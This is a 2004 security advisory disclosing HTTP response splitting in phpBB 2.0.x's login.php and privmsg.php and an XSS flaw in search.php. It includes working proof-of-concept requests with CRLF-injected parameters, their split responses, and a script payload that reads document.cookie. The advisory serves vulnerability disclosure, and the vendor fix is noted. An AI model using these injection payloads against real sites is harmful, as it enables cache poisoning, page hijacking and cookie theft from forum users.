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phpbbxssSplit.txt
Posted Jul 19, 2004
Authored by Ory Segal | Site SanctumInc.com

PHPBB version 2.0.x is susceptible to an HTTP response splitting vulnerability and also a cross site scripting flaw.

tags | advisory, web, xss
SHA-256 | 9bd2d0b59a945ad92ce18125125d0ac88e7d1a7638e8a47859f05b04619bb36a

phpbbxssSplit.txt

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//===================>> Security Advisory <<=======================//
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---[ PhpBB HTTP Response Splitting & Cross Site Scripting vuln.
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--[ Author: Ory Segal , Sanctum inc. http://www.SanctumInc.com
--[ Discovery Date: 14/7/2004
--[ Release Date: 18/7/2004
--[ Product: PhpBB 2.0.x (was tested on 2.0.4, 2.0.9)
--[ Severity: High

--[ HTTP Response Splitting details

Two scripts are vulnerable to HTTP Response Splitting attacks:

- /phpBB2/privmsg.php ('mode' parameter)
- /phpBB2/login.php ('redirect' parameter)

These vulnerabilities may allow an attacker to perform various
attacks such as web cache poisoning, cross user defacement, hijacking
pages with sensitive user information and perform cross-site
scripting attacks.

--[ Cross Site Scripting details

When gpc magic quotes are turned off in php.ini, the script
'/phpBB2/search.php' is vulnerable to XSS in the 'search_author'
parameter. This vulnerability may lead to theft of cookies associated
with the domain, or execution of client-side scripts in the user's
browser.

--[ Additional information

Detailed information on HTTP Response Splitting can be found in the
white paper "HTTP Response Splitting, Web Cache Poisoning Attacks,
and Related Topics" (Written by Amit Klein of Sanctum inc.)

http://www.sanctuminc.com/pdf/WhitePaper_HTTPResponse.pdf

Note [1]: The HTTP Response Splitting vulnerabilities do not require
the user to be logged in to the application.

Note [2]: These vulnerabilities were discovered on PhpBB 2.0.9,
installed on Win2K server with IIS/5.0, and PHP/4.3.4 (was also
validated on PHP/4.3.8)

Note [3]: In theory these HTTP Response Splitting vulnerabilities
should work on Microsoft web servers, WebSTAR and Xitami.

--[ Exploit Requests / URLs

-[ XSS Example

The following request will present a pop-up window containing the
current session's cookies: (REQUEST IS WORD-WRAPPED!)

http://SERVER/phpBB2/search.php?search_author='<script>alert(document
.cookie)</script>

-[ HTTP Response Splitting Example [1]

The following request will cause the application to return a split
response (REQUEST and RESPONSE ARE WORD-WRAPPED!)

[REQUEST]

POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129

logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 09:48:04 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
09:48:04 GMT; path=/
Set-Cookie: phpbb2mysql_sid=b389d63f8226cc6c8ad349b3aadf41f3; path=/
Refresh: 0; URL=http://SERVER/phpBB2foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!
...
...
...

-[ HTTP Response Splitting Example [2]

The following request will cause the application to return a split
response (REQUEST and RESPONSE ARE WORD-WRAPPED!)

[REQUEST]

GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Host: SERVER

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 12:42:17 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
12:42:17 GMT; path=/
Set-Cookie: phpbb2mysql_sid=74d20cacbfcd9d7b16e0bb86a345aea3; path=/
Refresh: 0; URL=http://SERVER/phpBB2login.php?redirect=privmsg
.php&folder=inbox&mode=foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!&sid=74d20cacbfcd9d7b16e0bb86a345aea3
...
...
...
--[ Solution

According to the vendor, these issues are addressed in PhpBB 2.0.10

--[ Acknowledgements

Amit Klein, for helping with the research of the HTTP Response
Splitting vulnerabilities in PhpBB (and for discovering HTTP Response
Splitting in the first place

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